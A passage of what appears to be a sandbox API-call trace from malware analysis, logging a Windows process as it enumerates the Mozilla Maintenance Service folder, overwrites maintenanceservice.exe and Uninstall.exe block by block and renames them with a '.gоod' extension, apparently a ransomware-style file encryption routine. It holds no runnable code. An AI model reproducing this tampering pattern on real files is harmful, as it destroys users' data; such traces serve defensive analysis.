cAlternateFileName="MAINTE~1.EXE")) returned 1 [0152.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa5a160, ftCreationTime.dwHighDateTime=0x1d567a6, ftLastAccessTime.dwLowDateTime=0x8bd86260, ftLastAccessTime.dwHighDateTime=0x1d5412f, ftLastWriteTime.dwLowDateTime=0x8bd86260, ftLastWriteTime.dwHighDateTime=0x1d5412f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pub.exe", cAlternateFileName="")) returned 1 [0152.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x15e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1 [0152.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0152.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.431] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0152.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0152.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0152.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service", lpFilePart=0x0) returned 0x32 [0152.431] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0152.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0152.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa5a160, ftCreationTime.dwHighDateTime=0x1d567a6, ftLastAccessTime.dwLowDateTime=0x8bd86260, ftLastAccessTime.dwHighDateTime=0x1d5412f, ftLastWriteTime.dwLowDateTime=0x8bd86260, ftLastWriteTime.dwHighDateTime=0x1d5412f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pub.exe", cAlternateFileName="")) returned 1 [0152.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x15e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1 [0152.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0152.433] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0152.433] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0152.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0152.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x0) returned 0x49 [0152.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0152.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x392d5b0 | out: lpFileInformation=0x392d5b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0)) returned 1 [0152.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0152.434] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x0) returned 0x49 [0152.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0152.434] GetFileType (hFile=0x80c) returned 0x1 [0152.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0152.434] GetFileType (hFile=0x80c) returned 0x1 [0152.434] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0152.434] ReadFile (in: hFile=0x80c, lpBuffer=0x392d9f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x392d9f8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0152.436] CloseHandle (hObject=0x80c) returned 1 [0152.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x0) returned 0x49 [0152.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0152.436] GetFileType (hFile=0x80c) returned 0x1 [0152.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0152.436] GetFileType (hFile=0x80c) returned 0x1 [0152.436] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x2f5d0 [0152.436] WriteFile (in: hFile=0x80c, lpBuffer=0x392ed48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x392ed48*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0152.437] CloseHandle (hObject=0x80c) returned 1 [0152.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x0) returned 0x49 [0152.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0152.438] GetFileType (hFile=0x80c) returned 0x1 [0152.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0152.438] GetFileType (hFile=0x80c) returned 0x1 [0152.438] ReadFile (in: hFile=0x80c, lpBuffer=0x3931070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3931070*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0152.866] CloseHandle (hObject=0x80c) returned 1 [0152.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x0) returned 0x49 [0152.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0152.866] GetFileType (hFile=0x80c) returned 0x1 [0152.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0152.866] GetFileType (hFile=0x80c) returned 0x1 [0152.866] WriteFile (in: hFile=0x80c, lpBuffer=0x37e6988*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x37e6988*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0152.866] CloseHandle (hObject=0x80c) returned 1 [0152.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x0) returned 0x49 [0152.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.gоod", lpFilePart=0x0) returned 0x4e [0152.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0152.867] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x57543e80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f5e0)) returned 1 [0152.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0152.867] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.gоod" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe.gоod")) returned 1 [0152.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\pub.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\pub.exe", lpFilePart=0x0) returned 0x3a [0152.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0152.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\pub.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\pub.exe"), fInfoLevelId=0x0, lpFileInformation=0x37fcd70 | out: lpFileInformation=0x37fcd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa5a160, ftCreationTime.dwHighDateTime=0x1d567a6, ftLastAccessTime.dwLowDateTime=0x8bd86260, ftLastAccessTime.dwHighDateTime=0x1d5412f, ftLastWriteTime.dwLowDateTime=0x8bd86260, ftLastWriteTime.dwHighDateTime=0x1d5412f, nFileSizeHigh=0x0, nFileSizeLow=0x13200)) returned 1 [0152.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0152.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\pub.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\pub.exe", lpFilePart=0x0) returned 0x3a [0152.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\pub.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\pub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeac80) returned 1 [0152.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x0) returned 0x40 [0152.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0152.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), fInfoLevelId=0x0, lpFileInformation=0x37fd6b0 | out: lpFileInformation=0x37fd6b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x15e62)) returned 1 [0152.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0152.873] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x0) returned 0x40 [0152.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0152.873] GetFileType (hFile=0x80c) returned 0x1 [0152.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0152.873] GetFileType (hFile=0x80c) returned 0x1 [0152.873] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0152.873] ReadFile (in: hFile=0x80c, lpBuffer=0x37fdab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x37fdab8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0153.549] CloseHandle (hObject=0x80c) returned 1 [0153.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x0) returned 0x40 [0153.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0153.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0153.737] GetFileType (hFile=0x80c) returned 0x1 [0153.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0153.737] GetFileType (hFile=0x80c) returned 0x1 [0153.737] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x15e62 [0153.737] WriteFile (in: hFile=0x80c, lpBuffer=0x32669f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x32669f0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0153.893] CloseHandle (hObject=0x80c) returned 1 [0153.893] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x0) returned 0x40 [0153.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0153.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0153.893] GetFileType (hFile=0x80c) returned 0x1 [0153.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0153.893] GetFileType (hFile=0x80c) returned 0x1 [0153.893] ReadFile (in: hFile=0x80c, lpBuffer=0x33b9638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x33b9638*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0153.924] CloseHandle (hObject=0x80c) returned 1 [0153.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x0) returned 0x40 [0153.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0153.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0153.924] GetFileType (hFile=0x80c) returned 0x1 [0153.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0153.924] GetFileType (hFile=0x80c) returned 0x1 [0153.924] WriteFile (in: hFile=0x80c, lpBuffer=0x33b8398*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x33b8398*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0153.924] CloseHandle (hObject=0x80c) returned 1 [0153.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x0) returned 0x40 [0153.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.gоod", lpFilePart=0x0) returned 0x45 [0153.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0153.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x57f6b049, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15e72)) returned 1 [0153.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0153.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.gоod" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe.gоod")) returned 1 [0153.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0153.926] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs", lpFilePart=0x0) returned 0x37 [0153.926] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, 